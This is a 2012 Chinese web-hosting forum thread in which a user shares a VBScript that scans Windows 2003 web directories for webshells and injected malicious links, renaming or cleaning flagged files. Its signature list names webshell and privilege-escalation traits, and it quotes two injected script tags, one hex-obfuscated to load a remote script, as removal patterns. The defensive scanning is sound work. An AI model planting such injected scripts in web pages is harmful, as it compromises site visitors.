全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

IP归属甄别会员请立即修改密码
查看: 1151|回复: 7
打印 上一主题 下一主题

[疑问] 【干货】查杀WIN2003服务器webshell与恶意链接的VBS脚本

[复制链接]
跳转到指定楼层
1#
发表于 2012-11-7 12:47:47 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
保存为OOXX.vbs,然后运行即可。

PS.看到这个脚本里一些熟悉的WEB后门程序(webshell),想起了许多许多。。。
  1. '本程序可以直接双击,主要作用是扫描网站中的木马、病毒程序,发现后会对其自动更名为xxx.w3bak,或将指定的内容替换为空。
  2. '2011-7-19
  3. On Error Resume Next
  4. Dim ScanType,FolderPath,fso,virCode,isScanSub,logfile
  5. Set fso=createobject("scripting.filesystemobject")
  6. Set objShell = CreateObject("Shell.Application")
  7. set WshShell = CreateObject("wscript.Shell"):init
  8. S_MixSize = 0 : S_MaxSize = 200                '扫描文件大写限制
  9. Dim iframeCode(20)                                        '这个表示替换为空的部分,自己可添
  10. iframeCode(0)=""
  11. iframeCode(1)="<script>document.writeln(""\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x68\x74\x74\x70\x3A\x2F\x2F\x4F\x25\x36\x36\x25\x36\x36\x25\x34\x39\x25\x36\x33\x65\x25\x32\x45\x25\x34\x36\x25\x34\x31\x51\x25\x35\x33\x25\x36\x35\x25\x37\x32\x76\x2E\x25\x34\x33\x25\x36\x46\x25\x34\x44\x2F\x25\x34\x36\x25\x34\x31\x25\x35\x31\x25\x32\x45\x25\x36\x41\x25\x37\x33\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E"");</script>"
  12. iframeCode(2)="<script language=""javascript"" src=""http://51yes.ocry.com/click2.js?id=259865365&logo=1""></script>"

  13. '病毒特征码,用|分隔。
  14. virCodes =chr(17) & chr(32) & chr(1) & "|DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG|):EvaL(|批量挂马|桂林老兵|专用ASP小马|后门名字|Serv-u提权|海阳顶端网|清马路径|批量清马|" & _
  15.                 "89625866|执行CMD命令|72C24DD5-D70A-438B-8A42-98424B88AFB8|13709620-C279-11CE-A49E-444553540000|F935DC26-1CF0-11D0-ADB9-00C04FD58A0B|限权升提|门后入插|写入注" &_
  16.                 "册表健值成功|php eval($_POST|马挂定指|round($packets/$exec_time|血腥DDOS|oooo0o00o0o0o0o0o0o0o00000o0o0o0o0o0oo0o0o0o0o0oo0"

  17. ScanType =".asa/.asp/.html/.aspx/.php/.cgi/.pl" '扫描的文件类型。
  18. isScanSub=True


  19. FolderPath= selectFolder()   '选择要扫描的网站目录, 如:FolderPath = "D:\wwwroot"  
  20. Echo "现在时间" &  Now() & ",扫描 " & FolderPath :time1=Now()
  21. If Not fso.folderexists(FolderPath) Then WScript.Quit
  22. Set folder = fso.GetFolder(FolderPath)
  23. CountFolder=1
  24. Call doscan(folder)
  25. If isScanSub Then scan(folder)
  26. Echo "扫描结束 " & Now & ",耗时 " & DateDiff("s",Time1,Now()) & "秒"
  27. WScript.Echo "日志文件存放于 " & logfile

  28. Sub doscan(byval folder)
  29.         For each myfile in folder.Files
  30.                 filesize = myfile.Size/1024
  31.                 filepath = myfile.Path
  32.                 filename = myfile.Name
  33.                
  34.                 if instr(filename,".")>0 then
  35.                 filetype = Mid(filename,InStrRev(filename,"."))
  36.                 'WScript.Echo filename & Chr(9) & filesize
  37.                 if filesize>s_MixSize And filesize<=s_MaxSize then
  38.                         If InStr(ScanType,filetype)>0 and filetype<>"" Then
  39.                                 'wscript.echo "正在查:" & filepath

  40.                                 txtBody = readfile(filepath)
  41.                                 flag        = False : txtBody=lcase(txtBody)
  42.                                 for each vCode in Split(virCodes,"|")
  43.                                         If vCode<>"" And instr(txtBody,vCode)>0 And binaryCheck(vCode,txtBody) then
  44.                                                 Echo  "发现该文件 " & filename & " 有问题"
  45.                                                 if fso.FileExists (filepath&".w3bak") then
  46.                                                         fso.DeleteFile filepath&".w3bak",True
  47.                                                         Echo "删除" & filepath&".w3bak"
  48.                                                 End If
  49.                                                
  50.                                                 Set f=fso.getfile(filepath)
  51.                                                 f.name= filename&".w3bak"
  52.                                                 Set f=Nothing

  53.                                                 filepath = filepath&".w3bak"
  54.                                                 tmpstr="<!--提示:该文件怀疑是木马程序,已经被杀毒软件自动更名. "& now()&"--> " & vbCrLf & txtBody
  55.                                                 Call writefile(filepath,tmpstr,True)
  56.                                                 Echo "文件名已改为 " & filepath
  57.                                                 flag = True
  58.                                                 exit for
  59.                                          end if
  60.                                 Next
  61.                                 '
  62.                                 If Not flag And InStr(LCase(txtbody),"vbscript.encode")=0 Then
  63.                                 txtbody2=txtbody : flag=False
  64.                                 For each iframeStr in iframeCode
  65.                                         If iframeStr<>"" and instr(txtbody,iframeStr)>0 then
  66.                                                 txtbody2 =replace(txtbody2,iframeStr,"")
  67.                                                 Echo "发现恶意代码" & filepath & "已被替换成空" & iframeStr
  68.                                                 flag=True
  69.                                         end if
  70.                                 Next
  71.                                 If flag Then Call writefile(filepath,txtbody2,True)
  72.                                 End If
  73.                                 '
  74.                                
  75.                         End If
  76.                 End If
  77.                 end if
  78.         Next
  79. End Sub       
  80.        
  81.        
  82. Function binaryCheck(VirCodePart,GetFiles)
  83.         on error resume next
  84.         binaryCheck=true
  85.         bincode=chr(17) & chr(32) & chr(1)
  86.         if VirCodePart=bincode then
  87.                 if left(GetFiles,3)<>bincode then
  88.                         binaryCheck=false
  89.                 end if
  90.         end if
  91. End Function
  92. Sub writefile(filepath,strng,isover)
  93.         If Not fso.FileExists(filepath) Then Exit Sub
  94.         If isover Then mode=2 Else mode=8
  95.         Dim f:Set f=fso.OpenTextFile(filepath,mode,True)
  96.         f.write strng
  97.         Set f=Nothing
  98. End Sub
  99. Function readfile(filepath)
  100.         On Error Resume Next
  101.         Dim f:Set f=fso.OpenTextFile(filepath)
  102.         readfile=f.ReadAll()
  103.         If readfile&""="" Then readfile=""
  104.         Err.Clear
  105. End Function
  106. Function selectFolder()
  107.         On Error Resume Next
  108.         Set objFolder=objshell.BrowseForFolder(&H0,"请选择要扫描的目录",NO_OPTIONS)
  109.         selectFolder = objFolder.Self.path
  110.         Set objFolder=Nothing
  111. End Function
  112. Sub Echo(strng)
  113.         WScript.Echo strng
  114.         Dim f:Set f = fso.OpenTextFile(logfile,8,True)
  115.         f.writeline strng
  116.         Set f=Nothing
  117. End Sub
  118. Sub init()
  119. logfile = Left(WScript.ScriptFullName,InStrRev(WScript.ScriptFullName,"")) & "scanLog.txt"
  120. If WScript.Arguments.Count=0 Then
  121.         WshShell.Run "cmd /k cscript """ & WScript.ScriptFullName & """ -dos",1,False
  122.         WScript.Quit
  123. End If
  124. virCodes=lcase(virCodes)
  125. End Sub
  126. sub scan(objfolder)
  127.         dim subfolder
  128.         For Each subfolder In objfolder.SubFolders
  129.                 CountFolder=CountFolder+1
  130.                 wscript.echo CountFolder & chr(9) & subfolder.path
  131.                 Call scan(subfolder)
  132.                 Call doscan(subfolder)
  133.         Next
  134. end sub
复制代码
8#
 楼主| 发表于 2012-11-7 16:29:28 | 只看该作者
本帖最后由 过客 于 2012-11-7 16:32 编辑
信仰 发表于 2012-11-7 13:23
过客干货很多嘛


分享给需要的人,其实还不是很干
7#
发表于 2012-11-7 13:31:36 | 只看该作者
提示: 作者被禁止或删除 内容自动屏蔽
6#
发表于 2012-11-7 13:23:52 | 只看该作者
过客干货很多嘛
5#
 楼主| 发表于 2012-11-7 12:52:12 | 只看该作者
wdlth 发表于 2012-11-7 12:49
NTFS流支持不?

不会玩,不懂,脚本从某台服务器里收集来的,试了试发现对我的后门无效
4#
 楼主| 发表于 2012-11-7 12:51:04 | 只看该作者
勇少 发表于 2012-11-7 12:48
过客干货很多嘛

主要目的是:>来侃价得此广告位
3#
发表于 2012-11-7 12:49:00 | 只看该作者
NTFS流支持不?
2#
发表于 2012-11-7 12:48:22 | 只看该作者
过客干货很多嘛
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2026-1-14 07:52 , Processed in 0.133994 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表